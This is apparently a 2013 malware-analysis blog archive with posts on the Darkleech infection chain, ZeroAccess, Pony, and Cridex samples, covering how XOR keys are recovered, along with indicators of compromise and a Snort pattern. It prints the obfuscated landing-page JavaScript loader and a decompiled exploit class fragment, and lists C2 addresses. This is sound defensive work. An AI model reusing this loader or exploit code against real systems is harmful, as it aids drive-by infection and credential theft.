Wednesday, June 26, 2013

Exploring the Darkleech Rabbit Hole - Part 2

So, here we are with part 2 of the lovely rabbit hole post!

about.exe - part 2


Unfortunately the malware from part 1 can't pull down the stage 2 components because the botnet server it was pointing to is offline. Thankfully, I already had copies of the stage 2 components. For the sake of completeness on this part I'll include a few other bits of information about the original traffic. Here's a shot of the encrypted POST request that this malware attempts to make:


You may recognize the /gate.php URI it's attempting to make the POST request to. This should be familiar to anyone who has worked with it before that this is similar to the way some Zeus variants work (Specifically, this looks a LOT like Pony PWS based on the /gate.php POST requests, seen here in my previous post: http://goo.gl/H3fi0 -- however, analysis of the dropped files and other behavior, seen later, proves that it is not actually Pony/Zeus at all). If the botnet server were online in this case, we would also see some GET requests for additional .exe files (in this case, there were originally two of them... 1.exe and 6.exe). Thankfully I have the two additional exe files from a previous analysis, but I don't have a capture of the original traffic to show you (sorry!).

I do know where the files came from, however:

Botnet IP: 85.195.91.179
Infected botnet domain: catch-cdn.com

Scroll back up and look at the TCP stream - notice the googleapis.com host? It's not actually hitting google, the Host parameter in the traffic is spoofed. Something to keep an eye out for! (PS: I see this a lot with various malware, it's not all that uncommon)

1.exe Analysis


The first exe that comes down is 1.exe. VT hits identify this as being part of the Trojan.Graftor family (but don't ever trust automation 100%). Here's some info on it:

File hash: 80E7EE258BCC1293664B687BC2378009
VT Info: https://www.virustotal.com/en/file/aead29b91cf98f141d1a2475e73f42450c7576524079a5788176b4074dc02968/analysis/

So - let's run this thing and see what it does. :)

The only immediately obvious thing is that it spawns a flash updater installer:


Further investigation reveals this to be fake (as if we didn't know that already). The 'download' will 'fail' when it reaches 100%. Here's the file info on it:

File hash: 2FF9B590342C62748885D459D082295F
VT Info: https://www.virustotal.com/en/file/672ec8dceafd429c1a09cfafbc4951968953e2081e0d97243040db16edb24429/analysis/

0/47 hits huh? The GET request is also going out to 96.17.130.70 which is part of the absolutely massive Akamai CDN. It's also where fpdownload.macromedia.com points to, which makes it look legit, but we already know it's easy to fake a hostname, and Akamai CDN isn't run by Adobe, which only furthers our suspicion of this being malicious. If you take a look at some of the related hash results on VT, they will confirm that this thing is definitely bad:


I'm not going to do anything else with the flash updater, since that's not really what we're focusing on here.

1.exe copies itself to the following directory before deleting the original:

  • C:\$Recycle.Bin\S-1-5-21-2642609715-2370073529-3293857777-1000
A file named Msimg32.dll is created in the path above as well. Info below:

File hash: 4D7AD34C54577DDE3110405ACB28AB42

Seeing references to ZeroAccess in the VT results, but again - we can't always trust automation. However, we're headed in the right direction... more on that later. :)

Looking at the network traffic really starts putting the pieces of the puzzle together. We see many GET requests for the domain e-zeeinternet.com.

Domain: e-zeeinternet.com
IP: 209.68.32.176
URI regex: "\/count\.php\?page\=\d{6}\&style\=LED\_g\&nbdigits\=\d"
Sample URI: /count.php?page=953000&style=LED_g&nbdigits=9

You can see the GET requests here in Wireshark:


I've seen this sort of traffic before, but it didn't immediately come to me where I had seen it. With the help of @MalwareMustDie, we were able to figure out just where this came from, but it wasn't that traffic that gave it away.

Looking further into the pcap I saw this:


j.maxmind.com is a legitimate geolocation service, but it's a little unusual to see this sort of thing in any traffic where we didn't do this manually, right? A little digging leads us to some VT results for a few ZeroAccess samples (thanks again to @MalwareMustDie for helping me uncover this!). Take a look at "Behavioral Information" under "HTTP requests":


And another:


Okay, so we KNOW that ZeroAccess uses j.maxmind.com. My guess is that it's used by the botnet owner to identify the rough location of all the infected hosts. 

Okay, back to the pcap again and there's some really interesting looking UDP traffic: 


LOTS of UDP requests to/from non-standard ports. Interesting. Let's dig a little deeper into this and see what we can find. First, let's point out some oddities here:
  • Most of the UDP requests have a destination port of 16465
  • The common pattern of destination IP's follows this format: xxx.254.253.254
This was the second part of the traffic that pointed solidly in the direction of this being part of ZeroAccess. Here's a GREAT analysis of ZeroAccess by @MalwareMustDie: http://malwaremustdie.blogspot.jp/2013/02/blackhole-of-closest-version-with.html

If you search for "UDP\16465", you'll see a lot of similarities. However, we know that Zeus also uses similar methods, so what else can we look into to identify this malware? In this case, the registry changes also help to support the suspicion that this is ZeroAccess. 


Seeing lots of changes to \Internet Settings\ZoneMap - this is a strong indicator of ZeroAccess. In reading through the MMD article linked above, we can see that there are other registry indicators - specifically changes made to \System\CurrentControlSet\services\SharedAccess, seen here:



At this point, I think we can reasonably conclude that this is, in fact, ZeroAccess. Goes to show just how much we have to pay attention when doing malware analysis, or we may head off in the wrong direction. :)

So, in summary:

Malware Type: ZeroAccess Trojan
Initial downloader filename: about.exe (Analysis covered in Part 1 of this post)
First dropped file: 1.exe
1.exe hash: 80E7EE258BCC1293664B687BC2378009
Behavioral details:
  • Spawns downloader for Adobe Flash Installer
  • Copies itself to C:\$Recycle.Bin\S-1-5-21-2642609715-2370073529-3293857777-1000
  • Creates file Msimg32.dll under recycle bin directory above
  • Makes many changes under the following registry keys:
    • \System\CurrentControlSet\Services\SharedAccess
    • \Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zone Map
  • Lots of UDP traffic bound for port 16465
Network traffic info (Note: These IPs may be hosting multiple domains... use caution when blacklisting):
  • UDP/16465 traffic destinations:
    • 206.254.253.254 (University of Texas, United States)
    • 197.254.253.254 (Canar Telecomm, Sudan)
    • 190.254.253.254 (Colombia Telecomm, Colombia)
    • 184.254.253.254 (Sprint/Nextel, United States)
    • 183.254.253.254 (China  Mobile Communication Corporation, China)
    • 182.254.253.254 (Tencent, China)
    • 180.254.253.254 (Menara Multimedia, Indonesia)
    • 166.254.253.254 (Service Provider Corporation, United States)
    • 158.254.253.254 (Sprint, United States)
    • 134.254.253.254 (DoD Network Information Center, United States)
    • 119.254.253.254 (Langfang University, China)
    • 117.254.253.254 (Bharat Sanchar Nigam Limited, Hong Kong)
    • 115.254.253.254 (Reliance Communication, Ltd, India)
    • 113.254.253.254 (Hutchinson Global Communication, China)
    • 109.190.36.7 (OV Telecomm, France)
    • 69.125.192.15 (Optimum Online, United States)
    • 98.27.252.40 (Time Warner, United States)
    • 76.108.245.54 (Comcast, United States)
    • 193.13.109.57 (Swipenet, Sweden)
    • 84.38.238.66 (Uniserver Internet B.V., Netherlands)
  • Domains contacted (Note: domain names may be spoofed)
    • j.maxmind.com (50.22.196.70, Maxmind, United States)
    • e-zeeinternet.com (209.68.32.176, Pair Networks, United States)
    • fpdownload.macromedia.com (96.17.130.70, Akamai Technologies, Inc, United States)
    • catch-cdn.com (85.195.91.179, Xianbiao Xu Xianbiao, Denmark)
And that only covers the first dropped file (and the downloader).

On with the next file...

6.exe Analysis


This is the second file our original malware component from part 1 ends up downloading.

File hash: F604DAF8E12EFAE8302F0ECC2BEDC5CA
VT Info: https://www.virustotal.com/en/file/010ef31d508c7338da2efb0128b518d290b7eaa8ae4345db2999abdf67a31acf/analysis/

It comes from the same location as 1.exe above:

Botnet IP: 85.195.91.179
Infected botnet domain: catch-cdn.com
URLQuery page: http://urlquery.net/report.php?id=3123478

Ok, so what does it do?

Nothing immediately obvious, but poking around shows us that it does quite a bit (and it doesn't take long before it really goes crazy... more below). First, it creates two files at the following location:

  • C:\ProgramData\B6EF0443E25512750000B6EE4D5C18F9\
Filename: B6EF0443E25512750000B6EE4D5C18F9.exe
File hash: F604DAF8E12EFAE8302F0ECC2BEDC5CA
VT Info: https://www.virustotal.com/en/file/010ef31d508c7338da2efb0128b518d290b7eaa8ae4345db2999abdf67a31acf/analysis/

Filename: B6EF0443E25512750000B6EE4D5C18F9.ico
File hash: Unknown (see below)
VT Info: N/A



As I was trying to gather more information about the files above, the malware just hijacked everything on my VM with this...


Followed by this: 



I figured it just hid the desktop, since everything quit working the way I wanted it to work. I thought, "I know! I'll just run Sysinternals Desktops and get control of my stuff back!"... And then... DENIED:


Really? *sigh* A little more poking around lead me to quickly discover that this happened with EVERY program I tried to launch. Out of curiosity, I clicked on one of the links in the fakeAV program to see what it would do. It launched a fake web browser and tried to reach out to this:
  • hxxp://109.206.174.48/payform2/?&lid=3070033&affid=03600&nid=B6E71275&group=sca

This rabbit hole just keeps going and going... so, I will break the remaining analysis of 6.exe into part 3, which I will try to have up around the same time next week. As always, stay tuned!

-SM

Tuesday, June 18, 2013

Exploring the Darkleech Rabbit Hole - Part 1

Hi folks. Sorry for the delay, I know there are at least a few of you out there who have wondered why this post is late since I've bee promising this was coming for several days now. I had a long fight this morning (a 10+ hour-long fight, to be specific) with a dropper I couldn't get to unXOR. :)

Protip: 010 Editor from SweetScape has some scripts for XORing files - XorSelection and XorSelectionHex. These scripts are great for short length XOR keys (16 bytes or less). However, these scripts are not written to handle 0x00 values, so if you have to XOR using a 128 byte key, for example, (as I did), these scripts will either give you incorrect output or give you array index out of range errors. So, for longer XOR keys, use something like XOR 0.2 by Luigi Ariemma (you can get it here: http://aluigi.altervista.org/mytoolz/xor.zip). Your XOR key needs to be in 0x## format with no spaces, but it works like a charm!

Without further ado - let's get to the rabbit hole. :)

Darkleech Infection Vector


As we know at this point, Darkleech often affects legitimate websites. The victim here was visiting a particular page hosted on cl.jobrapido.com. This is a site similar to monster.com or hotjobs.com, but hosted in Chile. So let's take a quick look at the original landing page HTTP header. This is nothing new, we've all seen this before:



You might recognize that javascript as being similar to what I deobfuscated in my very first post. :) Same thing here. It's an obfuscated JNLP parameter, which later turns into a JNLP applet that pulls down the payload. At this point we don't know what type of exploit it's bringing down, but there's a good chance it's going to be Zeus or BHEK. Good stuff.

Shortly after the victim hits the landing page, a .jar file gets pulled down, seen here:


The .jar file is itself an exploit, so here's some info about it:

Note: The "ETag:" parameter in the HTTP header is actually the md5 of the .jar file.
Filename: unknown
Content-Length: 23798
Mime Type: application/java-archive
md5: 09E00862D678800B1C4DCD642DDA24E3
VirusTotal (8/47 hits): https://www.virustotal.com/en/file/e5bc719838d914592325ef25903bcd047f3257ceaee2c8e50b3dd25f926861bf/analysis/ 

This isn't the full payload, but we're getting tho the fun stuff. This is just one more component that is leading up to pulling down the dropper. Is the suspense killing you yet? :) This jar file, like most other malicious jar files, contains several .class files that end up pointing the victim's host to a payload. This ultimately leads us to...

The Rabbit Hole - about.exe, part 1


The next thing that comes down in the stream is an exe - about.exe, in this case. You'll probably notice that the TCP stream doesn't have the usual MZ file header in it. It's not immediately obvious until you start looking at the content in a hex editor, but the file has been XORed. This is an extremely common technique used by malware writers to try to make your life more difficult. Thankfully this one isn't as complicated as some, but this is also the one that I spent 10 hours trying to un-XOR:


At this point, I saved the tcp stream and cut out everything before the "_.F.9..." since this is where the content of the file starts. Note that the HTTP header was nice enough to give us a filename for reference purposes - about.exe. This might come in handy when trying to identify what type of malware this is.

Here's some info about the obfuscated file:
Filename: about.exe
Content-Length: 158200
Mime Type: application/x-msdownload
File hash (XORed): C58C409BFC1B0DE1E6F3C172F37FF1EF
VirusTotal: Hash not found - This is fine because we're going to get a different hash in a minute.

So, in looking at this version of the exe in a hex editor, here's what we see:


Obviously that doesn't look like an exe, but we already know it is from the mime type (and the filename helps!), so the trick here is to figure out how the file has been obfuscated. The vast majority of the time these files are obfuscated using a simple XOR. How do you figure out what the XOR key is? Pattern analysis. There are other ways to do it via static analysis using a debugger, but I'm going to cover that in another post in the future.

Pattern Analysis



I'm taking a small detour from the 'rabbit hole' to explain the art of pattern analysis; we'll get back to chasing the rabbit hole later. 

Finding the XOR key via pattern analysis is really just looking for repeating patterns, then figuring out where the pattern actually starts. From there - trial and error. Sometimes this can be a really lengthy process, but this is what we do, right? :)

Generally speaking, repeating patterns are most easily found in empty parts of the file - that is, parts with lots of white space. Sometimes this can be most easily identified by looking at the binary in text mode and scrolling down until something jumps out at you. Here's what the exe looks like in 010 Editor's Text View:


Looking at this in text mode makes it MUCH easier to identify repeating patterns. However, this can also be quite deceiving if you aren't paying attention, but more on that in a bit. Let's break this down...

When looking at the file in text view, it would appear that the repeating pattern is this:


That IS a repeating pattern, but it's not the correct repeating pattern. A little trial and error helps us figure that out. 

The good thing about exe files is that they all start with a file header of "MZ". This means we can determine if we have the right XOR key just by XORing the first two bytes of the file. So let's try that. The hex value for the pattern shown above is:

9C 6E 70 52 B4 16 E8 FA CC DE 20 82 64 46 58 AA 3C 8E 10 F2 D4 36 88 1A EC FE C0 22 84 66 78 4A 5C AE 30 92 74 56 A8 3A 8C 1E E0 C2 24 86 18 EA FC CE D0 32 94 76 48 5A AC 3E 80 62 44 A6 38 8A 1C EE F0 D2 34 96 68 7A 4C 5E A0 02 E4 C6 D8 2A BC 0E 90 72 54 B6 08 9A 6C 7E 40 A2 04 E6 F8 CA DC 2E B0 12 F4 D6 28 BA 0C 9E 60 42 A4 06 98 6A 7C 4E 50 B2 14 F6 C8 DA 2C BE 00 E2 C4 26 B8

That's 128 bytes long! Crazy, isn't it? They can be worse, but normally XOR keys are 16 bytes or less. So, let's XOR the first 4 bytes of our file with the first 2 bytes of this XOR key to see if our MZ file header is revealed:


Above you'll see that the bytes of the file have changed from our XOR, but this still isn't an MZ file header. So let's go back to our previous example and I'm going to point something out... This is why you have to pay close attention when looking for patterns.


If you look in the circled area, you'll notice that the pattern actually starts in the line above the one we originally thought was the XOR key. Let's take the first 2 bytes of this hex pattern and XOR the first 4 bytes of the file with that and see what we come up with. Here's the first 2 bytes of the circled part:

12 F4

And here's what the file header looks like when we XOR the first 4 bytes using the key above:


Success! The file header now starts with MZ (4D 5A in hex). So we know our XOR key STARTS with the 2 bytes above, so let's go back into our hex editor and select the 2 bytes above, plus everything after that until the pattern repeats:

Note: This looking in hex view at "empty" parts of the file will often display the XOR key starting at the beginning of a line, as seen below. This can sometimes help figuring out where your pattern starts, as opposed to looking in text view. Text view is generally best for determining where the repeating patterns are located (and thus, the empty space in the file).


This gives us a final XOR key of: 

12 F4 D6 28 BA 0C 9E 60 42 A4 06 98 6A 7C 4E 50 B2 14 F6 C8 DA 2C BE 00 E2 C4 26 B8 0A 9C 6E 70 52 B4 16 E8 FA CC DE 20 82 64 46 58 AA 3C 8E 10 F2 D4 36 88 1A EC FE C0 22 84 66 78 4A 5C AE 30 92 74 56 A8 3A 8C 1E E0 C2 24 86 18 EA FC CE D0 32 94 76 48 5A AC 3E 80 62 44 A6 38 8A 1C EE F0 D2 34 96 68 7A 4C 5E A0 02 E4 C6 D8 2A BC 0E 90 72 54 B6 08 9A 6C 7E 40 A2 04 E6 F8 CA DC 2E B0

Finally, let's XOR our whole file with that key and see what we get:


There we go! Looks a lot more like the normal EXE files we're used to seeing, doesn't it? Sometimes finding these long XOR keys can be quite daunting, but it's very rewarding when you figure it out.

md5 (UN-XORED): 4EE0CA377B501191FA5477AEB0BFB713

Part 2 coming soon! :) Stay tuned.





Wednesday, June 12, 2013

A brief analysis of Pony/PWS (Zeus variant)

Hello again! This time around I wanted to do a brief analysis on the Pony/PWS malware. (Note: Originally I had indicated that this was a variant of Trojan.Fareit. @MalwareMustDie noted that my analysis was incorrect and I have update the post title accordingly. This is a variant of Zeus.) When I have some more time I'll probably revisit this malware and do something more in-depth, but for now I wanted to provide some basic info on it.

The sample that I'm working with is very widely detected on VT, seen here: https://www.virustotal.com/en/file/ac0368159001950e4f62e073a289113c2cab135af9ea0f48f5ca660fb2cb45e3/analysis/1371039514/ - 42/47 detection rate. Too bad all malware doesn't have this kind of detection rate, eh? Anyway... onward!

The particular Pony sample I'm working with has also been recognized as the SecureMail trojan and Trojan.Fareit. This malware is extremely common and is designed to steal credentials from the user. I don't have much on initial infection vector at this time, but I've seen a variety of URL patterns so this isn't necessarily that easy to nail down.

The malicious exe itself attempts to disguise itself as a PDF by using a PDF icon. Note that the .exe extension is still present, seen here:



Here's some basic information about the file:
   * File name: c:\users\admin\desktop\bsa analysis\securemail.exe
   * File length: 137728 bytes
   * File signature (PEiD): UPolyX v0.5 *
   * File signature (Exeinfo): *** Unknown EXE   Std Compiler section , maybe new MS C++ compiler
   * File type: EXE
   * TLS hooks: NO
   * File entropy: 7.15001 (89.3752%)
   * ssdeep signature: 3072:FtFcsE3Pa5AMcBzPEWY9ZTiJcMUd/iFH:F0sE3ede0ZTi/
   * MD5 hash: 6870fd8fd2b2bedd83e218d9e7e4de8b

As far as behavior goes, there wasn't a whole lot of immediately obvious activity with it, but it DOES beacon out to the net. Here's a shot of the initial POST request it makes to the web:


The malware goes to sleep for a while so at the moment I'm just going to let it do its thing and see what happens after a few hours. I would expect there to be additional POST requests that contain credentials to various online accounts... and I'm not sure that giving the malware come creds for testing purposes is a good idea. This will have to do for the time. :) Here's the info that I can confirm so far:

CnC Domain: mail.yaklasim.com
CnC IP Address: 212.58.4.3
Country of Origin: Turkey

I know it's not much - but I hope it helps! I'm still looking for more samples that I can glean some more intel from. Stay tuned!

-SM


Tuesday, June 4, 2013

Banking Blockade (Cridex) Trojan Analysis

Hello internets! I recently encountered a new variant of what I know as the "blockade banking" trojan, so I figured I'd do a writeup on it. This is probably more commonly known as the Cridex trojan. I think it's fairly interesting in that the primary method of distribution is via the Neutrino Exploit Kit (which I'm not really going to discuss beyond the URL pattern) [Note: it's also distributed via the Phoenix exploit kit, as I found out later]. I haven't done any research into Phoenix Exploit Kit, but I did look a tiny bit into Neutrino. Neutrino Exploit Kit is fairly old as far as the infosec world is concerned -- it dates back to 2011. You can see the url pattern for Neutrino Exploit Kit here: http://urlquery.net/report.php?id=2679468

Regex/PCRE pattern for Neutrino (from the traffic I've seen) looks like this, in case you want to use it in a Snort rule:

http\://.*\:8000\[a-z]{6,13}\?[a-z]{5,12}\=\d{7}


And now, onto the part you've clearly been dying to learn about: the blockade banking trojan. This trojan is designed to steal credentials that a victim uses to access their online banking services. Presumably this would be used as part of an identity theft.

So, how does the victim end up with this trojan? Similar to Darkleech, Neutrino often affects legitimate websites. When the user visits an affected website, Neutrino traffic looks similar to this:



The first part of the stream contains a bunch of obfuscated javascript. I'm not going to reverse engineer the JS in this example, since we covered how to do that in the previous post about Darkleech landing pages.

Following the obfuscated JS, a POST request happens that contains what looks like shell code, seen here:



As we keep looking through the traffic in Wireshark, eventually we get a GET request that contains the payload: a .jar file and an obfuscated EXE. We can see the jar file here:



We'll take a look at some of the class files inside the .jar file later. Here's an obfuscated file from later in the same TCP stream. Given that we know that the mime type is "application/octet-stream", we can pretty well conclude that this is an exe file:



First things first, let's take a look at the .jar file and the .class files inside it. As expected, there are a whole bunch of .class files in here. For now, I'm only going to decompile one of them. In this case, we're looking at mm.class. Using JAD, I decompiled the mm.class file and got the following code:



import java.awt.image.*;



abstract class mm extends BufferedImage

{

    private static String d2(String s)
    {
        String s1 = s.replaceAll("[0-9]", "");
        String s2 = (new StringBuilder(s1)).reverse().toString();
        return new String(s2);
    }

    private int tt(String s)
    {
        if(s.length() < 0)
            return 1;
        else
            return s.length();
    }

    public mm(int i, int j, int k, int l, ColorModel colormodel, SampleModel samplemodel)
    {
        super(i, j, k);
        str1 = "(98071949708552672673878308~snip~;
        str2 = "(038673574676929482034231>960~snip~";
        _ft = l;
        _fcm = colormodel;
        _fsm = samplemodel;
    }

    public int getType()
    {
        String s = Thread.currentThread().getStackTrace()[2].toString();
        try
        {
            if(s.contains(d2(str1)))
                return _ft;
        }
        catch(Exception exception) { }
        Object obj = null;
        return ((Integer)obj).intValue();
    }

    int _ft;
    ColorModel _fcm;
    SampleModel _fsm;
    String str1;
    String str2;
}

Deobfuscating the big variables using the methods discussed previously tells us only one piece of information, but remember that there are 10 or so .class files in this payload.

"Str1" from mm.class deobfuscates to: "ICC_Transform.getImageLayout". 

"Str2" doesn't actually deobfuscate in this class file, but it is used in other class files (and ultimately, in the final payload). This is just a quick example of how class files are used to create an exploit. :)

So, let's move on to the obfuscated exe file mentioned earlier... 

Thankfully this thing is only XOR'ed with a simple key. XORsearch wasn't doing it for me, so a little trial and error allowed me to find the XOR key: 79 6C 74 6F 67 76 73

So, here's a snapshot of the un-XORed MZ file header:



A quick sigcheck of the file gives us a hash:

Sigcheck v1.91 - File version and signature viewer
Copyright (C) 2004-2013 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Users\admin\Desktop\unknown.exe.malware:
        Verified:       Unsigned
        Link date:      8:43 PM 1/9/2001
        Publisher:      Texfztm
        Description:    VwwnvzeWwzsnajsz
        Product:        Kdsybzc Drpkiifmeqo
        Version:        n/a
        File version:
        MD5:    813F17A401571A20664E882DE29E5DDC
        SHA1:   E66AF5281427B411877F04A4F6A4D010F9472310
        PESHA1: 56BBDEA472F4CE6D6BFB37D4CF9450466DE4ADE2
        SHA256: ABB566B5938027F10F9E877257F5C9970C5851B1D96524B7708B5238FFD5FFF4


Thankfully it's got a fairly high detection rate these days. Okay, so what does this thing do? Well, we're about to find out.

First, let's verify a few things about the exe just to make sure I didn't accidentally fuck up with my XOR key. Running exiftool on the exe gives us the following output:

ExifTool Version Number         : 9.30
File Name                       : unknown.exe.malware
Directory                       : C:/Users/admin/Desktop
File Size                       : 62 kB
File Modification Date/Time     : 2013:06:04 02:49:01-06:00
File Access Date/Time           : 2013:06:04 02:59:22-06:00
File Creation Date/Time         : 2013:06:04 02:59:22-06:00
File Permissions                : rw-rw-rw-
File Type                       : Win32 EXE
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2001:01:09 19:43:07-07:00
PE Type                         : PE32
Linker Version                  : 8.0
Code Size                       : 2048
Initialized Data Size           : 1536
Uninitialized Data Size         : 115200
Entry Point                     : 0x13cb
OS Version                      : 4.0
Image Version                   : 5.0
Subsystem Version               : 4.0
Subsystem                       : Windows GUI
File Version Number             : 0.9331.0.21
Product Version Number          : 0.9331.0.21
File Flags Mask                 : 0x003f
File Flags                      : (none)
File OS                         : Windows NT 32-bit
Object File Type                : Executable application
File Subtype                    : 0
Language Code                   : English (U.S.)
Character Set                   : Unicode
Company Name                    : Texfztm
File Description                : VwwnvzeWwzsnajsz
File Version                    :
Internal Name                   : Vwwnvze
Legal Copyright                 : ┬⌐ Texfztm
Original Filename               : Vwwnvze.exe
Product Name                    : Kdsybzc Drpkiifmeqo
Product Version                 :

Notice the timestamp on it? Pretty old... considering Cridex wasn't around in 2001. It's a fairly safe bet that the compile time timestamp was modified by the malware writer. 

TrID confirms that it is indeed an exe. TrID output:

TrID/32 - File Identifier v2.10 - (C) 2003-11 By M.Pontello
Definitions found:  5062
Analyzing...

Collecting data from file: C:\Users\admin\Desktop\unknown.exe.malware
 34.2% (.DLL) Win32 Dynamic Link Library (generic) (6581/28/2)
 33.9% (.EXE) Win32 Executable (generic) (6514/8/2)
 10.7% (.EXE) Win16/32 Executable Delphi generic (2072/23)
 10.4% (.EXE) Generic Win/DOS Executable (2002/3)
 10.4% (.EXE) DOS Executable Generic (2000/1)

Now, onto the exe itself... The exe does several things of note

  •  Creates file %USERPROFILE%\appdata\roaming\kb00596853.exe
    •  MD5 hash: 813f17a401571a20664e882de29e5ddc
    •  Note: This is the same hash as the original file\
  •  Creates file (empty)C:\Users\admin\AppData\Local\Temp\POS280.tmp
    • Note: This filename is randomized with each execution
  •  Creates a mutex "Local\QM0000049C"
  •  Creates a mutex "Local\QI0000049C"
  •  Creates a mutex "Local\QM0000051C"
  •  Creates a mutex "Local\QI0000051C"
  •  Creates a mutex "Local\QRD46134FE"
  •  Creates a mutex "Local\!IETld!Mutex".
    • Note: The mutex names above appear to be randomized slighlty
  •  Queries DNS vseforyou.ru
  •  Queries DNS commorgan.ru
  •  KB00596853.exe Connects to "62.75.230.168" on port 80
  •  Creates process "(null),"C:\Windows\system32\cmd.exe" /c "C:\Users\admin\AppData\Local\Temp\POS2119.tmp.BAT",(null)"
    • The .BAT file is responsible for deleting the original file
Sets some persistence by creating the following registry value (Note: Newer/older variants use different filenames, but the persistence location is always the same):: 
  • \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\kb00596853.exe
The network traffic created by the malware is pretty interesting. The first POST request header can be seen here (This is the first part that steals banking credentials for a bunch of pre-set banking websites):



Later on in the same TCP stream we encounter another MZ file header. Extracting that file and running through sigchek gives us the following info:

Sigcheck v1.91 - File version and signature viewer
Copyright (C) 2004-2013 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Users\admin\Desktop\unknown2.exe:
        Verified:       Unsigned
        Link date:      8:20 PM 1/9/2001
        Publisher:      n/a
        Description:    n/a
        Product:        n/a
        Version:        n/a
        File version:   n/a
        MD5:    97720BBBA4DD08221402FCE851A8B718
        SHA1:   A97DA0B22C78ADB85F55F6A58BBAD2C8A609EFB4
        PESHA1: 28912AD78B57EAB2F7D4BC9E8FBA77316BF4ADED
        SHA256: 6EC20F0164A46607E11116770B43A964D539FB92D179A449CB0D8899FED6BF4C

Fun times. Further analysis of this file shows that it's actually the same file as the original, but with a different hash. This could indicate that it's either polymorphic, or that there's a set of files living on the C2 server that this malware grabs at random. 

This worm not only steals banking credentials, it also gathers intel from the victim's host. This is likely used in future exploitation. We can see the worm enumerating the running processes on the victim's host here and sending it back to the CnC server (Note: This does not happen right away... the worm sleeps for a while before sending this out):



In the end, this new Cridex variant is quite nasty. Here's some info about the traffic:

Known CnC IP addresses: 185.10.201.114, 62.75.230.168
Original Infection Vector IP: 178.63.67.185
CnC domains: myplanethome.ru, west.modest-summer-trip.info
Compromised referrer domain: thairath.co.th
Other suspected malicious domains: vseforyou.ru, commorgan.ru

That's all for this evening. More to come soon; I hope you enjoyed the read!

-SM

Saturday, June 1, 2013

Darkleech Redirect Landing Page - Obfuscated Javascript

So recently I've been encountering a whole lot of Darkleech Apache Malware Module activity. For the most part, the Darkleech activity I've seen has followed the infection vector seen on the @MalwareMustDie blog - seen here: http://malwaremustdie.blogspot.com/2013/03/the-evil-came-back-darkleechs-apache.html. I'm not going to do an analysis of Darkleech itself since MMD covered that pretty well.

What I wanted to do was talk about the Darkleech landing page that the iframe injection sends the victim to, and the obfuscated javascript that is used to grab the java exploit. You could get the deobfuscated stuff automatically using FireBug or just running the JS in an IDE without doing anything to it (or by creating an intentional syntax error at key places and using IE's integrated debugger - thanks to @EricOpdyke for the pointer.. more on that later) and it will usually give you what you want. We are going to use an IDE for part of it, but we're gonna figure out what this thing is supposed to do by making it less confusing first. :) So, let's get to it!

First, let's take a look at part of the TCP stream in Wireshark so we know what to look for:


I think most analysts could spot this as being something bad. This sort of thing is incredibly common in malware as of late. But how do we figure out what it's trying to do? 

The first thing I did was save the tcp stream and then opened it up in any kind of hex or text editor (I use 010 Editor from SweetScape. It's pretty awesome, I highly recommend it.) to remove everything except what's between the <body> and </body> tags. That leaves us with something that looks like this (trimmed for brevity):


<body><u id="a123"></u><b style="position:absolute;top:-200px;">57,76,63,71,66,64,81,29,64,73,62,80,80,70,65,58,31,96,105,112,102,97,55,50,53,50,47,67,50,66,65,42,53,63,67,49,42,~snip for brevity~</b><script>try{--document["body"]}catch(dv32r3){a=document[("getEleme"+"ntsByTagName")]("b")[0].innerHTML["split"](",");for(j=0;j<a[("length")];j=1+j){a[j]=1*a[j]+3;}ff="fro";a=String[ff+"mCharCode"].apply(String,a);ps="span";d=document.createElement(ps);document["body"].appendChild(d);d.innerHTML=a;}</script><script language="javascript">

There's a lot more to it, but this will get us started. That's kind of a mess, so let's clean it up using JS Beautifier (http://jsbeautifier.org).

That gives us something that looks like this (again, trimmed for brevity):

<body><u id="a123"></u><b style="position:absolute;top:-200px;">57,76,63,71,66,64,81,29,64,73,62,80,80,70,65,58,31,96,105,112,102,97,55,50,53,50,47,67,50,66,65,42,53,63,67,49,42,~snip for brevity~</b>
    <script>
        try {
            --document["body"]
        } catch (dv32r3) {
            a = document[("getEleme" + "ntsByTagName")]("b")[0].innerHTML["split"](",");
            for (j = 0; j < a[("length")]; j = 1 + j) {
                a[j] = 1 * a[j] + 3;
            }
            ff = "fro";
            a = String[ff + "mCharCode"].apply(String, a);
            ps = "span";
            d = document.createElement(ps);
            document["body"].appendChild(d);
            d.innerHTML = a;
        }
    </script>



The first part with the try...catch section can usually be left alone/ignored. It's often put there just to throw you off.


So now, lets walk through this and start changing the easy stuff. There are a few simple "a = b" type statements there that we can do the replacements ourselves, so let's replace ff with "fro", and ps with "span", etc, etc then delete the original variables (Note: You can do this easier sometimes using find and replace in any text editor, just be careful you don't actually replace something by mistake... I prefer doing it manually):

    <script>
        try {
            --document["body"]
        } catch (dv32r3) {
            a = document[("getEleme" + "ntsByTagName")]("b")[0].innerHTML["split"](",");
            for (j = 0; j < a[("length")]; j = 1 + j) {
                a[j] = 1 * a[j] + 3;
            }
            a = String["fro" + "mCharCode"].apply(String, a);
            d = document.createElement("span");
            document["body"].appendChild(d);
            d.innerHTML = a;
        }
    </script>

Now there's a few sections where readable text strings that make more sense are starting to form, but are separated by "+", so let's take those out and do a few more replacements and have the first part of our script finalized:

    <script>
        try {
            --document["body"]
        } catch (dv32r3) {
            a = document[("getElementsByTagName")]("b")[0].innerHTML["split"](",");
            for (j = 0; j < a[("length")]; j = 1 + j) {
                a[j] = 1 * a[j] + 3;
            }
            a = String["fromCharCode"].apply(String, a);
            document["body"].appendChild(document.createElement("span"));
            document.createElement("span").innerHTML = a;
        }
    </script>

Okay, great, now what do you suppose this part of the script does? Well, if you look up there ^ at the top, you'll notice a long string of numbers separated by commas. This script basically loops through that string and passes each number through the loop, and deobfuscates it into something else, then puts that inside a new <span> element that gets created in the body of the HTML. Easy, huh? I can hear you saying this right now: Uh, Secluded, but I don't know Javascript! What do I do with this thing now?! Let me tell you: CALM DOWN, SIR! I'm getting there! 

We've done some basic deobfuscation to the javascript so we can see the general logic of this part. Normally, I'd continue doing this sort of 'deobfuscation' throughout the remainder of the Javascript (since you're only seeing a very small part of it here), working one <script> section at a time. I've done the remaining two script sections here, so you can see what it looks like when you're done:

Original:
    <script language="javascript">
        ga = "ge" + "tElementById";
        gg = "getAttri";
        qq = "q";
        zaq = "pars";

        function c() {
            s = new String();
            s = a.innerHTML;
            a = zxv = s;
            s = "";
